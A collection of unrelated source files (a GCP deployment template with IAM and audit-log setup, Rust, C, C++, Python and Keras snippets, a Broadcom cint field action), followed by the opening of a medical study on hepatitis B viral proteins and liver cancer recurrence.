if 'editors_group' in context.properties:
project_bindings['roles/editor'] = [
'group:' + context.properties['editors_group']]
# Merge in additional permissions, which may include the above roles.
for additional in context.properties.get(
'additional_project_permissions', []):
for role in additional['roles']:
project_bindings[role] = (
project_bindings.get(role, []) + additional['members'])
policy_patch = {
'add': [{'role': role, 'members': members}
for role, members in sorted(project_bindings.items())]
}
if has_organization and 'remove_owner_user' in context.properties:
policy_patch['remove'] = [{
'role': 'roles/owner',
'members': ['user:' + context.properties['remove_owner_user']],
}]
get_iam_policy_name = 'set-project-bindings-get-iam-policy'
resources.extend([{
'name': get_iam_policy_name,
'action': ('gcp-types/cloudresourcemanager-v1:'
'cloudresourcemanager.projects.getIamPolicy'),
'properties': {
'resource': project_id,
},
'metadata': {
'runtimePolicy': ['UPDATE_ALWAYS'],
},
}, {
'name': 'set-project-bindings-patch-iam-policy',
'action': ('gcp-types/cloudresourcemanager-v1:'
'cloudresourcemanager.projects.setIamPolicy'),
'properties': {
'resource': project_id,
'policy': '$(ref.' + get_iam_policy_name + ')',
'gcpIamPolicyPatch': policy_patch,
},
}])
# Create a logs GCS bucket and BigQuery dataset, or get the names of the
# remote bucket and dataset.
previous_gcs_bucket = None
logs_bucket_id = None
if use_local_logs:
logs_gcs_bucket = context.properties['local_audit_logs'].get(
'logs_gcs_bucket')
# Logs GCS bucket is only needed if there are data GCS buckets.
if logs_gcs_bucket:
logs_bucket_id = project_id + '-logs'
# Create the local GCS bucket to hold logs.
resources.append({
'name': logs_bucket_id,
'type': 'storage.v1.bucket',
'properties': {
'location': logs_gcs_bucket['location'],
'storageClass': logs_gcs_bucket['storage_class'],
'lifecycle': {
'rule': [{
'action': {
'type': 'Delete'
},
'condition': {
'age': logs_gcs_bucket['ttl_days'],
'isLive': True,
},
}],
},
},
'accessControl': {
'gcpIamPolicy': {
'bindings': [
{
'role':
'roles/storage.admin',
'members': [
'group:' + context.properties['owners_group']
],
},
{
'role':
'roles/storage.objectViewer',
'members': [
'group:' + context.properties['auditors_group']
],
},
{
'role': 'roles/storage.objectCreator',
'members': [
'group:<EMAIL>'],
},
],
},
},
})
previous_gcs_bucket = logs_bucket_id
# Get name of local BigQuery dataset to hold audit logs.
# This dataset will need to be created after running this deployment
dataset_id = 'audit_logs'
log_sink_destination = ('bigquery.googleapis.com/projects/' +
project_id + '/datasets/' + dataset_id)
else:
logs_bucket_id = context.properties['remote_audit_logs'].get(
'logs_gcs_bucket_name')
log_sink_destination = (
'bigquery.googleapis.com/projects/' +
context.properties['remote_audit_logs']['audit_logs_project_id'] +
'/datasets/' +
context.properties['remote_audit_logs']['logs_bigquery_dataset_id'])
# Create a logs metric sink of audit logs to a BigQuery dataset. This also
# creates a service account that must be given WRITER access to the dataset.
log_sink_name = 'audit-logs-to-bigquery'
resources.append({
'name': log_sink_name,
'type': 'logging.v2.sink',
'properties': {
'sink': log_sink_name,
'destination': log_sink_destination,
'filter': 'logName:"logs/cloudaudit.googleapis.com"',
'uniqueWriterIdentity': True,
},
})
# BigQuery dataset(s) to hold actual data. Create serially to avoid exceeding
# API quota.
previous_bq_update = None
for bq_dataset in context.properties.get('bigquery_datasets', []):
ds_name = bq_dataset['name']
bq_create_resource = {
'name': 'create-big-query-dataset-' + ds_name,
'type': 'bigquery.v2.dataset',
'properties': {
'datasetReference': {
'datasetId': ds_name,
},
'location': bq_dataset['location'],
},
}
if previous_bq_update:
bq_create_resource['metadata'] = {'dependsOn': [previous_bq_update]}
resources.append(bq_create_resource)
add_permissions = bq_dataset.get('additional_dataset_permissions', {})
access_list = [{
'role': 'OWNER',
'groupByEmail': context.properties['owners_group']
}]
for reader in context.properties.get('data_readonly_groups', []):
access_list.append({
'role': 'READER',
'groupByEmail': reader
})
for writer in context.properties.get('data_readwrite_groups', []):
access_list.append({
'role': 'WRITER',
'groupByEmail': writer
})
access_list += (
_get_bigquery_access_for_role(
'OWNER', add_permissions.get('owners', [])) +
_get_bigquery_access_for_role(
'WRITER', add_permissions.get('readwrite', [])) +
_get_bigquery_access_for_role(
'READER', add_permissions.get('readonly', [])))
# Update permissions for the dataset. This also removes the deployment
# manager service account's access.
previous_bq_update = 'update-big-query-dataset-' + ds_name
resources.append({
'name': previous_bq_update,
'action': 'gcp-types/bigquery-v2:bigquery.datasets.patch',
'properties': {
'projectId': project_id,
'datasetId': ds_name,
'access': access_list,
},
'metadata': {
'dependsOn': ['create-big-query-dataset-' + ds_name],
},
})
# GCS bucket(s) to hold actual data. Create serially to avoid exceeding API
# quota.
default_bucket_owners = ['group:' + context.properties['owners_group']]
default_bucket_readwrite = [
'group:' + readwrite
for readwrite in context.properties.get('data_readwrite_groups', [])]
default_bucket_readonly = [
'group:' + readonly
for readonly in context.properties.get('data_readonly_groups', [])]
for data_bucket in context.properties.get('data_buckets', []):
if not logs_bucket_id:
raise ValueError('Logs GCS bucket must be provided for data buckets.')
bucket_roles = []
add_permissions = data_bucket.get('additional_bucket_permissions', {})
bucket_roles.append({
'role': 'roles/storage.admin',
'members': default_bucket_owners + add_permissions.get('owners', [])
})
bucket_roles.append({
'role': 'roles/storage.objectAdmin',
'members': default_bucket_readwrite + add_permissions.get(
'readwrite', [])
})
bucket_roles.append({
'role': 'roles/storage.objectViewer',
'members': default_bucket_readonly + add_permissions.get('readonly', [])
})
bucket_roles.append({
'role': 'roles/storage.objectCreator',
'members': add_permissions.get('writeonly', [])
})
bindings = [role for role in bucket_roles if role['members']]
data_bucket_id = project_id + data_bucket['name_suffix']
data_bucket_resource = {
'name': data_bucket_id,
'type': 'storage.v1.bucket',
'properties': {
'location': data_bucket['location'],
'storageClass': data_bucket['storage_class'],
'logging': {
'logBucket': logs_bucket_id,
},
'versioning': {
'enabled': True,
},
},
'accessControl': {
'gcpIamPolicy': {
'bindings': bindings,
},
},
}
if previous_gcs_bucket:
data_bucket_resource['metadata'] = {
'dependsOn': [previous_gcs_bucket],
}
resources.append(data_bucket_resource)
previous_gcs_bucket = data_bucket_id
# Create a logs-based metric for unexpected users, if a list of expected
# users is provided.
if 'expected_users' in data_bucket:
unexpected_access_filter = (
'resource.type=gcs_bucket AND '
'logName=projects/%(project_id)s/logs/'
'cloudaudit.googleapis.com%%2Fdata_access AND '
'protoPayload.resourceName=projects/_/buckets/%(bucket_id)s AND '
'protoPayload.authenticationInfo.principalEmail!=(%(exp_users)s)') % {
'project_id': project_id,
'bucket_id': data_bucket_id,
'exp_users': (' AND '.join(data_bucket['expected_users']))
}
resources.append({
'name': 'unexpected-access-' + data_bucket_id,
'type': 'logging.v2.metric',
'properties': {
'metric': 'unexpected-access-' + data_bucket_id,
'description':
'Count of unexpected data access to ' + data_bucket_id + '.',
'filter': unexpected_access_filter,
'metricDescriptor': {
'metricKind': 'DELTA',
'valueType': 'INT64',
'unit': '1',
'labels': [{
'key': 'user',
'valueType': 'STRING',
'description': 'Unexpected user',
}],
},
'labelExtractors': {
'user':
'EXTRACT(protoPayload.authenticationInfo.principalEmail)'
},
},
})
# Create a Pub/Sub topic for the Cloud Healthcare service account to publish
# to, with a subscription for the readwrite group.
if 'pubsub' in context.properties:
pubsub_config = context.properties['pubsub']
topic_name = pubsub_config['topic']
publisher_account = pubsub_config['publisher_account']
resources.append({
'name': topic_name,
'type': 'pubsub.v1.topic',
'properties': {
'topic': topic_name,
},
'accessControl': {
'gcpIamPolicy': {
'bindings': [
{
'role': 'roles/pubsub.publisher',
'members': [
'serviceAccount:' + publisher_account
],
},
],
},
},
})
resources.append({
'name': pubsub_config['subscription'],
'type': 'pubsub.v1.subscription',
'properties': {
'subscription': pubsub_config['subscription'],
'topic': 'projects/{}/topics/{}'.format(project_id, topic_name),
'ackDeadlineSeconds': pubsub_config['ack_deadline_sec']
},
'accessControl': {
'gcpIamPolicy': {
'bindings': [
{
'role': 'roles/pubsub.editor',
'members': [
'group:' + writer for writer in context.properties[
'data_readwrite_groups']
],
},
],
},
},
'metadata': {
'dependsOn': [topic_name],
},
})
# Create Logs-based metrics for IAM policy changes.
policy_change_filter = ('protoPayload.methodName="SetIamPolicy" OR\n'
'protoPayload.methodName:".setIamPolicy"')
resources.append({
'name': 'iam-policy-change-count',
'type': 'logging.v2.metric',
'properties': {
'metric': 'iam-policy-change-count',
'description': 'Count of IAM policy changes.',
'filter': policy_change_filter,
'metricDescriptor': {
'metricKind': 'DELTA',
'valueType': 'INT64',
'unit': '1',
'labels': [{
'key': 'user',
'valueType': 'STRING',
'description': 'Unexpected user',
}],
},
'labelExtractors': {
'user': 'EXTRACT(protoPayload.authenticationInfo.principalEmail)'
},
},
})
# Create Logs-based metrics for GCS bucket permission changes.
bucket_change_filter = """
resource.type=gcs_bucket AND
protoPayload.serviceName=storage.googleapis.com AND
(protoPayload.methodName=storage.setIamPermissions OR
protoPayload.methodName=storage.objects.update)"""
resources.append({
'name': 'bucket-permission-change-count',
'type': 'logging.v2.metric',
'properties': {
'metric': 'bucket-permission-change-count',
'description': 'Count of GCS permissions changes.',
'filter': bucket_change_filter,
'metricDescriptor': {
'metricKind': 'DELTA',
'valueType': 'INT64',
'unit': '1',
'labels': [{
'key': 'user',
'valueType': 'STRING',
'description': 'Unexpected user',
}],
},
'labelExtractors': {
'user': 'EXTRACT(protoPayload.authenticationInfo.principalEmail)'
},
},
})
# Create Logs-based metrics for Bigquery permission changes.
bigquery_change_filter = ('resource.type="bigquery_resource" AND\n'
'protoPayload.methodName="datasetservice.update"')
resources.append({
'name': 'bigquery-settings-change-count',
'type': 'logging.v2.metric',
'properties': {
'metric': 'bigquery-settings-change-count',
'description': 'Count of bigquery permission changes.',
'filter': bigquery_change_filter,
'metricDescriptor': {
'metricKind': 'DELTA',
'valueType': 'INT64',
'unit': '1',
'labels': [{
'key': 'user',
'valueType': 'STRING',
'description': 'Unexpected user',
}],
},
'labelExtractors': {
'user': 'EXTRACT(protoPayload.authenticationInfo.principalEmail)'
},
},
})
# Enable data-access logging. UPDATE_ALWAYS is added to metadata to get a new
# etag each time.
resources.extend([{
'name': 'audit-configs-get-iam-etag',
'action': ('gcp-types/cloudresourcemanager-v1:'
'cloudresourcemanager.projects.getIamPolicy'),
'properties': {
'resource': project_id,
},
'metadata': {
'dependsOn': ['set-project-bindings-patch-iam-policy'],
'runtimePolicy': ['UPDATE_ALWAYS'],
},
}, {
'name': 'audit-configs-patch-iam-policy',
'action': ('gcp-types/cloudresourcemanager-v1:'
'cloudresourcemanager.projects.setIamPolicy'),
'properties': {
'resource': project_id,
'policy': {
'etag': '$(ref.audit-configs-get-iam-etag.etag)',
'auditConfigs': [{
'auditLogConfigs': [
{'logType': 'ADMIN_READ'},
{'logType': 'DATA_WRITE'},
{'logType': 'DATA_READ'},
],
'service': 'allServices',
}],
},
'updateMask': 'auditConfigs,etag',
},
'metadata': {
'dependsOn': ['audit-configs-get-iam-etag'],
},
}])
return {'resources': resources}
|
# Copyright 2019-2020 the ProGraML authors.
#
# Contact <NAME> <<EMAIL>>.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""A batch of GGNN data."""
from typing import List, NamedTuple
import numpy as np
class LstmBatchData(NamedTuple):
"""The model-specific data generated for a batch."""
# An array of shape (batch_size) which indicates the the number of each
# nodes for each graph in the batch, before truncation or padding. For
# example, if padded_sequence_length=64 and given an array of graph_node_sizes
# [10, 104], this means that the first graph in the batch has 54 padding
# nodes, and the second graph had the final 40 nodes truncated.
graph_node_sizes: np.array
# Shape (batch_size, padded_sequence_length, 1), dtype np.int32
encoded_sequences: np.array
# Shape (batch_size, padded_sequence_length, 2), dtype np.int32
selector_vectors: np.array
# Shape (batch_size, padded_sequence_length, node_y_dimensionality),
# dtype np.float32
node_labels: np.array
# Shape (batch_size, ?, 1), dtype np.int32.
targets: List[np.array]
|
<filename>remoc/src/rfn/rfn_once.rs
use futures::Future;
use serde::{Deserialize, Serialize};
use std::fmt;
use super::{msg::RFnRequest, CallError};
use crate::{codec, rch::oneshot, RemoteSend};
/// Provides a remotely callable async [FnOnce] function.
///
/// Dropping the provider will stop making the function available for remote calls.
pub struct RFnOnceProvider {
keep_tx: Option<tokio::sync::oneshot::Sender<()>>,
}
impl fmt::Debug for RFnOnceProvider {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
f.debug_struct("RFnOnceProvider").finish()
}
}
impl RFnOnceProvider {
/// Keeps the provider alive until it is not required anymore.
pub fn keep(mut self) {
let _ = self.keep_tx.take().unwrap().send(());
}
/// Waits until the provider can be safely dropped.
///
/// This is the case when the [RFnOnce] is evaluated or dropped.
pub async fn done(&mut self) {
self.keep_tx.as_mut().unwrap().closed().await
}
}
impl Drop for RFnOnceProvider {
fn drop(&mut self) {
// empty
}
}
/// Calls an async [FnOnce] function possibly located on a remote endpoint.
///
/// The function can take between zero and ten arguments.
///
/// # Example
///
/// In the following example the server sends a remote function that returns
/// a string that is moved into the closure.
/// The client receives the remote function and calls it.
///
/// ```
/// use remoc::prelude::*;
///
/// type GetRFnOnce = rfn::RFnOnce<(), Result<String, rfn::CallError>>;
///
/// // This would be run on the client.
/// async fn client(mut rx: rch::base::Receiver<GetRFnOnce>) {
/// let mut rfn_once = rx.recv().await.unwrap().unwrap();
/// assert_eq!(rfn_once.call().await.unwrap(), "Hallo".to_string());
/// }
///
/// // This would be run on the server.
/// async fn server(mut tx: rch::base::Sender<GetRFnOnce>) {
/// let msg = "Hallo".to_string();
/// let func = || async move { Ok(msg) };
/// let rfn_once = rfn::RFnOnce::new_0(func);
/// tx.send(rfn_once).await.unwrap();
/// }
/// # tokio_test::block_on(remoc::doctest::client_server(server, client));
/// ```
#[derive(Serialize, Deserialize)]
#[serde(bound(serialize = "A: RemoteSend, R: RemoteSend, Codec: codec::Codec"))]
#[serde(bound(deserialize = "A: RemoteSend, R: RemoteSend, Codec: codec::Codec"))]
pub struct RFnOnce<A, R, Codec = codec::Default> {
request_tx: oneshot::Sender<RFnRequest<A, R, Codec>, Codec>,
}
impl<A, R, Codec> fmt::Debug for RFnOnce<A, R, Codec> {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
f.debug_struct("RFnOnce").finish()
}
}
impl<A, R, Codec> RFnOnce<A, R, Codec>
where
A: RemoteSend,
R: RemoteSend,
Codec: codec::Codec,
{
/// Create a new remote function.
fn new_int<F, Fut>(fun: F) -> Self
where
F: FnOnce(A) -> Fut + Send + 'static,
Fut: Future<Output = R> + Send,
{
let (rfn, provider) = Self::provided_int(fun);
provider.keep();
rfn
}
/// Create a new remote function and return it with its provider.
///
/// See the [module-level documentation](super) for details.
fn provided_int<F, Fut>(fun: F) -> (Self, RFnOnceProvider)
where
F: FnOnce(A) -> Fut + Send + 'static,
Fut: Future<Output = R> + Send,
{
let (request_tx, request_rx) = oneshot::channel();
let (keep_tx, keep_rx) = tokio::sync::oneshot::channel();
tokio::spawn(async move {
tokio::select! {
biased;
Err(_) = keep_rx => (),
Ok(RFnRequest {argument, result_tx}) = request_rx => {
let result = fun(argument).await;
let _ = result_tx.send(result);
}
}
});
(Self { request_tx }, RFnOnceProvider { keep_tx: Some(keep_tx) })
}
/// Try to call the remote function.
async fn try_call_int(self, argument: A) -> Result<R, CallError> {
let (result_tx, result_rx) = oneshot::channel();
let _ = self.request_tx.send(RFnRequest { argument, result_tx });
let result = result_rx.await?;
Ok(result)
}
}
impl<A, RT, RE, Codec> RFnOnce<A, Result<RT, RE>, Codec>
where
A: RemoteSend,
RT: RemoteSend,
RE: RemoteSend + From<CallError>,
Codec: codec::Codec,
{
/// Call the remote function.
///
/// The [CallError] type must be convertible to the functions error type.
async fn call_int(self, argument: A) -> Result<RT, RE> {
self.try_call_int(argument).await?
}
}
// Calls for variable number of arguments.
#[rustfmt::skip] arg_stub!(RFnOnce, FnOnce, RFnOnceProvider, new_0, provided_0, (),);
#[rustfmt::skip] arg_stub!(RFnOnce, FnOnce, RFnOnceProvider, new_1, provided_1, (), arg1: A1);
#[rustfmt::skip] arg_stub!(RFnOnce, FnOnce, RFnOnceProvider, new_2, provided_2, (), arg1: A1, arg2: A2);
#[rustfmt::skip] arg_stub!(RFnOnce, FnOnce, RFnOnceProvider, new_3, provided_3, (), arg1: A1, arg2: A2, arg3: A3);
#[rustfmt::skip] arg_stub!(RFnOnce, FnOnce, RFnOnceProvider, new_4, provided_4, (), arg1: A1, arg2: A2, arg3: A3, arg4: A4);
#[rustfmt::skip] arg_stub!(RFnOnce, FnOnce, RFnOnceProvider, new_5, provided_5, (), arg1: A1, arg2: A2, arg3: A3, arg4: A4, arg5: A5);
#[rustfmt::skip] arg_stub!(RFnOnce, FnOnce, RFnOnceProvider, new_6, provided_6, (), arg1: A1, arg2: A2, arg3: A3, arg4: A4, arg5: A5, arg6: A6);
#[rustfmt::skip] arg_stub!(RFnOnce, FnOnce, RFnOnceProvider, new_7, provided_7, (), arg1: A1, arg2: A2, arg3: A3, arg4: A4, arg5: A5, arg6: A6, arg7: A7);
#[rustfmt::skip] arg_stub!(RFnOnce, FnOnce, RFnOnceProvider, new_8, provided_8, (), arg1: A1, arg2: A2, arg3: A3, arg4: A4, arg5: A5, arg6: A6, arg7: A7, arg8: A8);
#[rustfmt::skip] arg_stub!(RFnOnce, FnOnce, RFnOnceProvider, new_9, provided_9, (), arg1: A1, arg2: A2, arg3: A3, arg4: A4, arg5: A5, arg6: A6, arg7: A7, arg8: A8, arg9: A9);
#[rustfmt::skip] arg_stub!(RFnOnce, FnOnce, RFnOnceProvider, new_10, provided_10, (), arg1: A1, arg2: A2, arg3: A3, arg4: A4, arg5: A5, arg6: A6, arg7: A7, arg8: A8, arg9: A9, arg10: A10);
|
<reponame>iadgov/simon-speck-supercop<filename>crypto_hash/rfsb509/ref/hash.c
#include "crypto_hash.h"
#include "crypto_hashblocks_rfsb509.h"
#include "crypto_hashblocks_sha256.h"
static const char sha256_iv[32] = {
0x6a,0x09,0xe6,0x67,
0xbb,0x67,0xae,0x85,
0x3c,0x6e,0xf3,0x72,
0xa5,0x4f,0xf5,0x3a,
0x51,0x0e,0x52,0x7f,
0x9b,0x05,0x68,0x8c,
0x1f,0x83,0xd9,0xab,
0x5b,0xe0,0xcd,0x19,
} ;
int crypto_hash(
unsigned char *out,
const unsigned char *in,
unsigned long long inlen
)
{
int i;
unsigned char t[128] = {0};
unsigned char pad[96];
int padlen;
int remaining = crypto_hashblocks_rfsb509(t,in,inlen);
if(remaining <= 40)
padlen = 48;
else
padlen = 96;
for(i=0;i<remaining;i++)
pad[i] = in[inlen-remaining+i];
for(; i<padlen-8;i++)
pad[i] = 0;
for(; i<padlen;i++)
pad[i] = (inlen >> 8*(i-40)) & 0xff;
crypto_hashblocks_rfsb509(t,pad,padlen);
for (i = 0;i < 32;++i) out[i] = sha256_iv[i];
t[64] = 0x80;
t[64+62] = 2;
crypto_hashblocks_sha256(out,t,128);
return 0;
}
|
<filename>exp1/1_1.cpp
#include <iostream>
#include <vector>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
using namespace std;
// 序列化类
class Content
{
public:
Content() // 构造函数
{
i = 0;
}
virtual ~Content() {} // 析构函数
void SetContent(int j) // 赋值
{
i = j;
}
void ShowContent() // 输出类内变量
{
std::cout << "Show_Content: " << i << std::endl;
}
bool Serialize(const char *pFilePath); // 序列化函数
bool Deserialize(const char *pFilePath); // 反序列化函数
private:
int i;
};
// @brief 序列化内容到给定路径中
bool Content::Serialize(const char *pFilePath)
{
// 打开文件,不存在就创建
int fd = open(pFilePath, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
if (fd == -1)
{
cout << "Open error!" << endl;
return false;
}
// 写入
if (write(fd, &i, sizeof(int)) == -1)
{
close(fd);
cout << "Write error!" << endl;
return false;
}
// 关闭文件
if (close(fd) == -1)
{
cout << "Close error!" << endl;
return false;
}
cout << "Serialize success!" << endl;
return true;
}
// @brief 从给定的路径中反序列化
bool Content::Deserialize(const char *pFilePath)
{
// 打开已序列化的文件
int fd = open(pFilePath, O_RDONLY);
if (fd == -1)
{
close(fd);
cout << "Open error!" << endl;
return false;
}
// 读取文件至i
if (read(fd, &i, sizeof(int)) == -1)
{
close(fd);
cout << "Read error!" << endl;
return false;
}
// 关闭文件
if (close(fd) == -1)
{
cout << "Close error!" << endl;
return false;
}
cout << "Deserialize success!" << endl;
cout << "i = " << i << endl;
return true;
}
int main()
{
// 序列化代码段
{
Content se; // 实例化一个序列化对象
se.SetContent(10); // 给对象赋值
// 序列化到data文件里
if (se.Serialize("data") == false)
{
cout << "Serialize error!" << endl;
}
}
cout << "----------------" << endl;
// 反序列化代码段
{
Content de; // 实例化一个反序列化的存储对象
// 从data文件里反序列化
if (de.Deserialize("data") == false)
{
cout << "Deserialize error!" << endl;
}
}
return 0;
} |
def play_bet_tile(self, camel):
if self.bet_tiles[camel]:
pop = self.bet_tiles[camel][0]
util.add_list_to_dict(self.player_dict[self.state]["bet_tiles"], camel, pop)
self.bet_tiles[camel].remove(pop)
if self.bet_tiles[camel] == []:
self.bet_tiles.pop(camel, None) |
def encoder_model(self):
outs_conv=[]
inputs=[]
for i, dim in enumerate(self._input_dimensions):
if len(dim) == 3 or len(dim) == 4:
if(len(dim) == 4):
input = Input(shape=(dim[-4],dim[-3],dim[-2],dim[-1]))
inputs.append(input)
input = Reshape((dim[-4]*dim[-3],dim[-2],dim[-1]), input_shape=(dim[-4],dim[-3],dim[-2],dim[-1]))(input)
x=Permute((2,3,1), input_shape=(dim[-4]*dim[-3],dim[-2],dim[-1]))(input)
else:
input = Input(shape=(dim[-3],dim[-2],dim[-1]))
inputs.append(input)
x=Permute((2,3,1), input_shape=(dim[-3],dim[-2],dim[-1]))(input)
if(dim[-2]>12 and dim[-1]>12):
self._pooling_encoder=6
x = Conv2D(8, (2, 2), padding='same', activation='tanh')(x)
x = Conv2D(16, (2, 2), padding='same', activation='tanh')(x)
x = MaxPooling2D(pool_size=(2, 2), strides=None, padding='same')(x)
x = Conv2D(32, (3, 3), padding='same', activation='tanh')(x)
x = MaxPooling2D(pool_size=(3, 3), strides=None, padding='same')(x)
else:
self._pooling_encoder=1
if(self._high_int_dim==True):
x = Conv2D(self.n_channels_internal_dim, (1, 1), padding='same')(x)
out = x
else:
out = Flatten()(x)
elif len(dim) == 2:
if dim[-3] > 3:
input = Input(shape=(dim[-3],dim[-2]))
inputs.append(input)
reshaped=Reshape((dim[-3],dim[-2],1), input_shape=(dim[-3],dim[-2]))(input)
x = Conv2D(16, (2, 1), activation='relu', border_mode='valid')(reshaped)
x = Conv2D(16, (2, 2), activation='relu', border_mode='valid')(x) & features
if(self._high_int_dim==True):
out = x
else:
out = Flatten()(x)
else:
input = Input(shape=(dim[-3],dim[-2]))
inputs.append(input)
out = Flatten()(input)
else:
if dim[-3] > 3:
input = Input(shape=(dim[-3],))
inputs.append(input)
reshaped=Reshape((1,dim[-3],1), input_shape=(dim[-3],))(input)
x = Conv2D(8, (1,2), activation='relu', border_mode='valid')(reshaped)
x = Conv2D(8, (1,2), activation='relu', border_mode='valid')(x)
if(self._high_int_dim==True):
out = x
else:
out = Flatten()(x)
else:
input = Input(shape=(dim[-3],))
inputs.append(input)
out=input
outs_conv.append(out)
if(self._high_int_dim==True):
model = Model(inputs=inputs, outputs=outs_conv)
if(self._high_int_dim==False):
if len(outs_conv)>1:
x = Concatenate()(outs_conv)
else:
x= outs_conv [0]
x = Dense(200, activation='tanh')(x)
x = Dense(100, activation='tanh')(x)
x = Dense(50, activation='tanh')(x)
x = Dense(10, activation='tanh')(x)
x = Dense(self.internal_dim)(x)
model = Model(inputs=inputs, outputs=x)
return model |
/**
* cint check when packet configured to be snoop & drop if its
* drop counter actually updated
* test function - drop_action_with_counting
* the sequnce of the test function include
* create_dummy_voq - create voq that drop each packet arrived
* to it
* create_drop_action - which base on forward_action to the
* created voq
*/
int create_drop_action(int unit, bcm_field_entry_t i_ent, bcm_gport_t voq_gport) {
int result;
result = bcm_field_action_add(unit, i_ent, bcmFieldActionForward, 3<<17 | BCM_GPORT_UNICAST_QUEUE_GROUP_QID_GET(voq_gport), 0);
if (BCM_E_NONE != result) {
printf("Error in bcm_field_action_add\n");
return result;
}
result = bcm_field_entry_install(unit, i_ent);
if (BCM_E_NONE != result) {
printf("Error in bcm_field_entry_install\n");
return result;
}
return result;
} |
Nuclear Expression of Hepatitis B Virus X Protein Is Associated with Recurrence of Early-Stage Hepatocellular Carcinomas: Role of Viral Protein in Tumor Recurrence
Background: Hepatitis B virus (HBV) plays well-known roles in tumorigenesis of hepatocellular carcinoma (HCC) in infected patients. However, HBV-associated protein status in tumor tissues and the relevance to tumor behavior has not been reported. Our study aimed to examine the expression of HBV-associated proteins in HCC and adjacent nontumorous tissue and their clinicopathologic implication in HCC patients. Methods: HBV surface antigen (HBsAg), HBV core antigen (HBcAg), and HBV X protein (HBx) were assessed in 328 HBV-associated HCCs and in 155 matched nontumorous tissues by immunohistochemistry staining. Results: The positive rates of HBsAg and cytoplasmic HBx staining in tumor tissue were lower than those in nontumorous tissue (7.3% vs. 57.4%, p < .001; 43.4% vs. 81.3%, p < .001). Conversely, nuclear HBx was detected more frequently in tumors than in nontumorous tissue (52.1% vs. 30.3%, p < .001). HCCs expressing HBsAg, HBcAg, or cytoplasmic HBx had smaller size; lower Edmondson-Steiner (ES) nuclear grade, pT stage, and serum alpha-fetoprotein, and less angioinvasion than HCCs not expressing HBV-associated proteins. Exceptionally, nuclear HBx-positive HCCs showed higher ES nuclear grade and more frequent large-vessel invasion than did nuclear HBx-negative HCCs. In survival analysis, only nuclear HBx-positive HCCs had shorter disease-free survival than nuclear HBx-negative HCCs in pT1 and ES nuclear grade 1–2 HCC subgroup (median, 126 months vs. 35 months; p = .015). Conclusions: Our data confirmed that expression of normal HBV-associated proteins generally decreases in tumor cells in comparison to nontumorous hepatocytes, with the exception of nuclear HBx, which suggests that nuclear HBx plays a role in recurrence of well-differentiated and early-stage HCCs.
▒ ORIGINAL ARTICLE ▒ Hepatocellular carcinoma (HCC) is the third most fatal cancer worldwide and poses a major burden to the healthcare system. 1 More than 50% of HCC cases overall and 70%-80% of HCC cases in hepatitic B virus (HBV)-endemic regions are attributable to chronic HBV infection. 2 The mechanism of viral hepatitis-mediated induction of HCC involves the direct mutagenic effect of the virus on the host genome and the indirect effect of the inflammation-necrosis regeneration cycle in the setting of chronic hepatitis. 3 HBV is a member of the Hepadnaviridae family and has four important viral proteins: hepatitis B virus surface antigen (HB-sAg), hepatitis B virus core antigen (HBcAg), hepatitis B virus X protein (HBx), and viral DNA polymerase. HBsAg and HB-cAg are structural proteins that are the main components of the viral capsule and core. These proteins induce an immune re-sponse in infected hosts and can be used for the assessment of viral replication activity. Thus, they serve as clinical markers for diagnosis and follow-up of viral hepatitis patients via serum tests. 4 HBx is a key regulatory nonstructural protein of the virus that is at the intersection of HBV infection, replication, pathogenesis, and carcinogenesis. 5 Integration of viral genomes in the host genome is considered a possible mechanism of hepatocarcinogenesis, and this notion is supported by the observation that a large portion of HCC have integrated HBV sequence encoding HBx and a truncated pre-S2/S protein. 6 HBx protein regulates the cell cycle and DNA repair genes of host cells and induces cellular transformation via transactivation (protein interactions) in the nucleus and cytoplasm. 5 Clinically, a high viral load of HBV is associated with HCC recurrence, and early antiviral treatment can increase diseasefree survival (DFS) and overall survival of HCC patients. 7,8 A specific mutated form of HBV known as genotype C was reported to be associated with HCC occurrence in cirrhotic patients. 9 HBsAg positivity in non-neoplastic liver tissue was reported as a risk factor for HCC recurrence. 10 HBsAg expression is generally lower in tumor cells compared with adjacent non-neoplastic hepatocytes, and the HBx protein expression in non-neoplastic hepatic parenchyma is associated with the development of HCC in patients with chronic viral hepatitis. 11,12 Previous studies of the expression of HBV genes and HBx protein in HCC and adjacent non-neoplastic hepatic parenchyma generally focused on the mechanisms underlying the HBV-related hepatocarcinogenesis.
The aim of this study was to assess the expression of the HB-sAg, HBcAg, and HBx proteins in HCC and nontumorous liver tissue and to examine the histologic features of HCCs, possible correlations with hepatitis serum markers, and their influence on cancer prognosis.
Patients and clinicopathologic parameters
We enrolled 328 HBV hepatitis patients who had been diagnosed with HCC based on a resected specimen and whose medical records and formalin-fixed paraffin blocks of tumor tissue were available from the archives of the Department of Pathology at Seoul National University Hospital (SNUH) from 1998 to 2004. We excluded co-infected hepatitis C virus hepatitis patients and patients who had neither serologic nor clinical evidence of HBV infection. The matched non-neoplastic hepatic parenchyma was available for 155 of the 328 patients. Clinical information, such as age, sex, surgical procedure, underlying etiology of liver disease, preoperative serum α-fetoprotein (AFP, μg/mL), preoperative treatment, and postoperative tumor recurrence, was collected from the medical records. Serological results of HBsAg, anti-HBs (HBsAb), IgG anti-HBc (HBcAb), hepatitis B virus e antigen (HBeAg), and anti-HBe (HBeAb) were based on the most recent preoperative tests from medical records. Depending on the state of the serum viral marker, liver function test, and clinical symptom of hepatic failure or portal hypertension (e.g., hypoalbuminemia, prolonged prothrombin time, ascites, hyperbilirubinemia, or hepatic encephalopathy), "asymptomatic carriers" had positive serum viral markers, but a normal liver function test and no clinical symptom of hepatic failure, while "noncirrhotic" patients had positive serum viral marker with abnormal liver function test, but no symptom of hepatic failure. Patients with symptom of hepatic failure were assigned to the cirrhotic patient group. Disease recurrence was defined as newly appearing lesions diagnosed by radiologic examinations such as ultrasonography and X-ray computed tomography, or based on serum tumor markers such as AFP, after an operation. Pathologic information, such as tumor size, number of tumors, gross type (vaguely nodular, expanding nodular, nodular with perinodal extension, and 